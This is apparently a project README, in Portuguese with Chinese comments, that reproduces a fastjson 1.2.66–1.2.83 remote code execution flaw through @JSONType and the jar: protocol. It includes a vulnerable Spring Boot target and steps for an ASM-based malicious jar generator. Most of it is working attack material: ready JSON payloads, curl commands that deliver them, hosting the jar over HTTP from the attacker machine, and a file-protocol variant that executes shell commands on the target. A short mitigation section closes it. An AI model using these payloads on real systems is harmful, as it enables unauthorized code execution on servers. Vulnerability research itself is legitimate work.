
Reproduz o RCE do fastjson 1.2.83 via @JSONType com um alvo Spring Boot vulnerável e um gerador de payload baseado em ASM usando cadeias de jar por protocolo HTTP ou file.
@JSONType
Projeto de reprodução de carregamento remoto de classes / execução de comandos no fastjson 1.2.66 ~ 1.2.83 usando anotação @JSONType + nome de classe ilegal + protocolo jar:.
⚠️ Aviso de isenção de responsabilidade
Este projeto destina-se exclusivamente a pesquisa de segurança, reprodução de vulnerabilidades e testes autorizados. É estritamente proibido utilizá-lo em qualquer sistema não autorizado, ataque ilegal ou finalidade maliciosa. Os usuários são integralmente responsáveis por suas próprias ações; o autor não se responsabiliza legalmente por qualquer uso indevido.
Artigo de referência para análise da vulnerabilidade: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
Este projeto monta um ambiente completo de reprodução da vulnerabilidade do fastjson 1.2.83 em torno de CVE-2026-16723:
demo/ — aplicação Web Spring Boot 2.7.18 vulnerável (com dependência do fastjson 1.2.83), que expõe o endpoint POST /parse e chama diretamente JSON.parse(json);exp/ — gerador de jar de sonda maliciosa baseado em ASM (duas variantes: protocolo HTTP / protocolo FILE);环境/ — FatJars de três middlewares pré-compilados (Tomcat / Jetty / Undertow), prontos para uso.Ideia central da exploração: ao construir um JSON especial com @type apontando para uma URL de jar, o fastjson percorre o ramo de confiança da anotação @JSONType → getResourceAsStream baixa o jar remoto/local → defineClass carrega a classe maliciosa → a inicialização da classe aciona <clinit> → execução arbitrária de comandos (RCE).
| Item | Descrição |
|---|---|
| CVE | CVE-2026-16723 |
| Componente | Alibaba fastjson |
| Versões afetadas | 1.2.66 ~ 1.2.83 (a última versão 1.x ainda é afetada) |
| Tipo de vulnerabilidade | Execução remota de código por desserialização (RCE) |
| Ponto de entrada | JSON.parse(json) / JSON.parseObject(json) (sem especificar tipo concreto) |
| Pré-requisitos | Alvo em Spring Boot FatJar, JDK 8, safeMode desativado |
JSON.parse(json) ou JSON.parseObject(json) para analisar diretamente entrada não confiável, com fastjson nas versões 1.2.66 ~ 1.2.83 e safeMode não ativado;java -jar, LaunchedURLClassLoader; apenas Spring Boot ≤ 2.7 mantém a capacidade de fallback do Handler do protocolo jar:);defineClass lança ClassFormatError; no máximo, é possível apenas SSRF);O checkAutoType do fastjson entra no ramo de confiança ao encontrar uma classe com anotação @JSONType, ignorando a maior parte das verificações da blacklist e permitindo o carregamento. Este projeto aproveita esse comportamento usando ASM para escrever o bytecode diretamente, gravando um [nome de classe interna ilegal] no this_class do constant pool da classe, alinhando perfeitamente os três nomes:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Estrutura da classe maliciosa:
@JSONType — a chave que abre o ramo de confiança do checkAutoType do fastjson;<init>()V — garante que o fastjson consiga instanciar a classe normalmente;<clinit> — durante a inicialização do carregamento da classe, executa Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}), realizando a execução de comandos.Nomes de classe ilegais não podem ser escritos com
javac; apenas o ASM consegue gravar a URL diretamente no constant pool — é por isso que o gerador deste projeto depende doasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
O laboratório deve ser executado em ambiente JDK 8 (consistente com as condições de exploração).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
Após a inicialização, o endereço do endpoint é: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — porta HTTP de hospedagem do jar malicioso;open -a Calculator — comando a ser executado na máquina alvo (abre a calculadora no macOS; no Linux, use id > /tmp/pwned 2>&1 e verifique se o arquivo foi criado).Por padrão, o arquivo gerado é x (sem extensão), contendo y.class; o payload é:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Certifique-se de iniciar o
python3 -m http.serverno diretório onde o arquivoxfoi gerado.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
O resultado da execução do comando não é refletido na resposta HTTP; é preciso confirmar na máquina alvo:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
Cenário de aplicação: o alvo não consegue acessar a porta HTTP da máquina do atacante (isolamento da rede interna / saída de rede restrita), mas é possível colocar o arquivo jar no sistema de arquivos da máquina alvo.
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
O gerador calcula a URL jar:file: com base no diretório atual (o separador de diretórios / é substituído por .). Por exemplo, se gerado em /tmp/project/exp, o payload será:
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
Envie/copie o arquivo y gerado para o caminho absoluto correspondente ao @type na máquina alvo (por exemplo, /tmp/project/exp/y), mantendo a estrutura de diretórios consistente.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
Atenção: o caminho da cadeia via protocolo FILE deve ser exatamente igual ao caminho real do arquivo na máquina alvo; caso contrário, a sondagem de recursos falha e o carregamento não é acionado.
| Parâmetro | Valor padrão | Descrição |
|---|---|---|
port | 19090 | Porta de hospedagem do jar malicioso |
cmd | id > /tmp/pwned 2>&1 | Comando a ser executado na máquina alvo |
hostToken | 2130706433 | IP acessado pelo alvo, em forma de inteiro (127.0.0.1) |
entry | y | Nome da entrada da classe dentro do jar |
outFile | x | Nome do arquivo jar gerado (sem extensão) |
| Parâmetro | Valor padrão | Descrição |
|---|---|---|
port | 19090 | Parâmetro reservado (a cadeia FILE não utiliza porta) |
cmd | id > /tmp/pwned 2>&1 | Comando a ser executado na máquina alvo |
dir | Diretório atual | Diretório do jar na máquina alvo (usado para gerar a URL jar:file:) |
entry | x | Nome da entrada da classe dentro do jar |
outFile | y | Nome do arquivo jar gerado (sem extensão) |
2130706433 é o inteiro sem sinal de 32 bits de 127.0.0.1; escrever como inteiro evita que o . do IP seja corrompido pela lógica de substituição . → / do fastjson. Quando a máquina do atacante não é a máquina local:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:...Indica que o jar consegue ser baixado (SSRF confirmado), mas TypeUtils.loadClass retornou null. Praticamente há apenas dois motivos:
@JSONType — a sondagem não passa pelo ramo de confiança e nem chega a entrar no loadClass;@type — o nome da classe no defineClass não corresponde à realidade e o carregamento falha.O gerador deste projeto já resolve esses dois pontos: anotação @JSONType + alinhamento dos três nomes.
Se o ClassLoader do alvo não for LaunchedURLClassLoader (por exemplo, execução direta pela IDE, pacote war comum, Spring Boot 3.x), a cadeia jar:http única não alcança RCE; no máximo, apenas SSRF pode ser confirmado.
O defineClass do JDK 9+ faz uma validação mais rígida de nomes de classe ilegais e lança ClassFormatError, interrompendo a cadeia na fase de carregamento.
ParserConfig.getGlobalInstance().setSafeMode(true); desativa completamente o autoType;JSON.parse(json) / JSON.parseObject(json) diretamente sobre a entrada do usuário; sempre que possível, use JSON.parseObject(json, Xxx.class) especificando explicitamente o tipo alvo;ParserConfig.addAccept(...), permita apenas classes confiáveis;@type.Se este projeto foi útil para você, sinta-se à vontade para dar ⭐ Star em apoio à pesquisa de segurança e à documentação de vulnerabilidades.
⚠️ Use apenas em testes autorizados, nunca para fins ilegais!